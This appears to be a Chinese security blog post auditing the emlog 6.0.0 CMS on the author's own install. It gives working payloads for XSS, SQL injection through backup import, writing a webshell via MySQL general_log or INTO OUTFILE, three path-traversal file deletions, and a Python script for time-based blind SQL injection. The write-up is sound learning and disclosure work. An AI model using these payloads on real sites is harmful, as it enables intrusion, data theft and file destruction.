emlog 代码审计


前言

前段时间找CMS来审计,发现 phpstudy 上有不少,找了个简单的来学习,前台功能少,只有搜索和评论,并且都做了过滤。所以只扫到了后台的漏洞,鸡肋得很,我只能安慰自己,重在学习
在这里插入图片描述


一、XSS

1、反射型XSS

在emlog中,执行出错的 sql语句 会显示出来,并且没有进行 html 实体过滤,所以直接在 sql 语句中拼接 xss 的 payload 并让他执行出错。

在这里插入图片描述
感动到哭,网站业务流程都没摸透就挖到了第一个洞,感动到哭有没有

在这里插入图片描述
见笑了,本来就全是后台的洞,已经够鸡肋了,结果还来个自X,简直鸡肋中的战斗肋,至少也得搞个存储型的吧

2、存储型XSS

这不,说来就来,看到有个备份数据库到服务器的选项,我看着它好像在闪闪发光呢

在这里插入图片描述
在备份的时候只执行了这一条语句,而且发现 $table 没有被引号包裹,所以只要用个注释符,后面想写什么就写什么了

在这里插入图片描述
然后导入备份成功获得存储型XSS一枚
在这里插入图片描述
正开心着呢,琢磨着点返回想再来一遍,结果发现额外奖赏一份下线功能。如下图,导入备份文件时执行的 sql 语句。执行了 DROP 但是 INSERT 失败。
在这里插入图片描述
这个存储型XSS就厉害了,当我拿下了别人博客的后台,我就可以备份下一个这样的恶意文件,然后等着一个睿智的管理员来点击导入,然后成功获取他的cookie,即使我已经有了他的账号密码在这里插入图片描述

但是并不证明这个洞就没有意义了,通过这个洞,可以发现利用导入功能其实是可以执行任意 sql语句 的,所以第一个高危漏洞就出来了


二、sql写马

本人声明,文章正文从这里开始

在这里插入图片描述

如下,尽量不改变文件的结构,在结束标志之前插入我们的恶意语句,通过 sql 拿到 webshell 有两种方法,但是都需要权限,像我用 phpstudy 搭建的 cms,自动创建的用户是不具备这个权限的。

第一种利用日志文件,只需要拥有超级权限,第二种方式更加麻烦,不仅需要 root 权限,还需要关闭 --secure-file-priv

#version:emlog 6.0.0
#date:2021-04-01 20:43
#tableprefix:emlog_
DROP TABLE IF EXISTS emlog_user#<img src=\"\">;

CREATE TABLE `emlog_user` (
  `uid` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL DEFAULT '',
  `password` varchar(64) NOT NULL DEFAULT '',
  `nickname` varchar(20) NOT NULL DEFAULT '',
  `role` varchar(60) NOT NULL DEFAULT '',
  `ischeck` enum('n','y') NOT NULL DEFAULT 'n',
  `photo` varchar(255) NOT NULL DEFAULT '',
  `email` varchar(60) NOT NULL DEFAULT '',
  `description` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`uid`),
  KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=utf8;

INSERT INTO emlog_user#<img src=\"\"> VALUES('1','admin','$P$BGI0ob7KpaeaB9DAktLn1bRMeniz/a1','','admin','n','','','');

# 第一种方式,利用日志文件写 shell
set global general_log = 'on'	# 开启日志

set global general_log_file = 'D:/application/phpstudy_pro/www/1.php'	# 设置日志路径,保存为PHP文件

select '<?php phpinfo(); ?>'  # 执行后会写入到日志中

# 第二种方式,利用 into outfile
select '<?php phpinfo(); ?>' into outfile 'D:/application/phpstudy_pro/www/1.php'

#the end of backup

危害是大了,但是利用条件挺多,比上面那两个XSS稍微不那么鸡肋一点点


三、三个任意文件删除

1、删除备份导致的任意文件删除

rips 扫到 data.php 处存在任意文件删除漏洞,在 phpstorm 中跟踪漏洞

在这里插入图片描述
在这里插入图片描述

简直侮辱人好嘛,好歹我也是能审到存储型XSS的人,居然一个过滤都没有。但是有个需要注意的点,POST 的 bak 应该为数组

payload 如下

http://emlog/admin/data.php?action=dell_all_bak

POST:
bak[]=../../../../../../../../../1.php 
bak[]=C:\\1.txt	(也可以使用绝对路径)

成功删除文件

在这里插入图片描述

2、删除插件导致的任意文件删除

还是 rips 扫出的任意文件删除,出现在 plugin.php 的第70行对 faction.base.php 第 832 行 emdeletefile() 函数的调用

在这里插入图片描述
在 phpstorm 中跟进,发现正则过滤,用 / 截取了我们传入的 $plugin,当我传入 ../../../aa 时,最后只得到了 ..,在后面分析了 emDeleteFile 函数后发现,如果传入的参数为 目录,则会递归删除目录下的所有文件,但是已经谈不上任意文件了,危害明显减小

但是在 windows 中可以使用 \ 代替 / 来进行目录穿越,让正则过滤形同虚设

在这里插入图片描述
emDeleteFile 函数如下,如果 $file 为文件则删除,如果 $file 为目录,则获取目录下的所有文件,并使用递归删除这些文件

在这里插入图片描述

payload 如下,可以删除 web 根目录下的 1.txt。需要注意的是 emlog 有防 CSRF 的机制,REQUEST 传入的 token 需要与 COOKIE 中的 token 相同,前面忘记说了

http://cms/admin/plugin.php?action=del&plugin=..\..\1.txt&token=51aa134f298d0988ea6c885fd462ee76

COOKIE:
EM_TOKENCOOKIE_12a10370e256ea91423f65194648f81c=51aa134f298d0988ea6c885fd462ee76

3、删除模板导致的任意文件删除

模板处与插件处类似,只是此处不再使用正则,而是使用了 addslashes() 来过滤传入的参数,但是 addslashes() 只会过滤 ' " \ %00,也是形同虚设

在这里插入图片描述
同样是调用 demDeleteFile 进行文件删除,payload 如下

http://cms/admin/template.php?action=del&tpl=../../1.txt&token=51aa134f298d0988ea6c885fd462ee76

COOKIE:
EM_TOKENCOOKIE_12a10370e256ea91423f65194648f81c=51aa134f298d0988ea6c885fd462ee76

四、sql注入

大部分与数据库交互的参数都进行了过滤,但是不知道为什么就单单忘记了这一个

在这里插入图片描述
传入 ip=1' 并跟踪,发现最后执行的sql语句为 select distinct gid from emlog_comment where ip='1'',导致查询失败
在这里插入图片描述
在之前有提到,emlog 会将错误信息返回,所以可以使用报错注入,payload 如下

在这里插入图片描述
时间盲注也同样可以使用
在这里插入图片描述
在这里插入图片描述
二分法时间盲注:

import requests

url = "http://emlog/admin/comment.php"

rs = requests.session()
# rs.get(url)

rs.cookies.set('EM_TOKENCOOKIE_12a10370e256ea91423f65194648f81c', '1')
rs.cookies.set('EM_AUTHCOOKIE_Pb0op9pktRkw1h7OvGuzSeHm48fqG2mY', 'admin||3779c3a04cb300b7f4cd21d72e05309e')

params = {'action': 'delbyip', 'ip': "", 'token': '1'}

flag = ''

for i in range(1, 50):
    low = 33
    high = 130
    mid = (low + high) >> 1

    while low < high:
        sql = "1' union select if((select ascii(substr((database()),{},1))>{}),1,sleep(5))#".format(i, mid)
        params['ip'] = sql

        try:
            r = rs.get(url, params=params, timeout=1)       # timeout 太小出错率比较大,太大影响速度,根据服务器响应速度配置
        except:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) >> 1

    if chr(mid) == '!':
        break

    flag += chr(mid)
    print(flag)

五、总结

虽然都是些鸡肋漏洞,但是对一个小菜鸡来说还是很开心呀

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值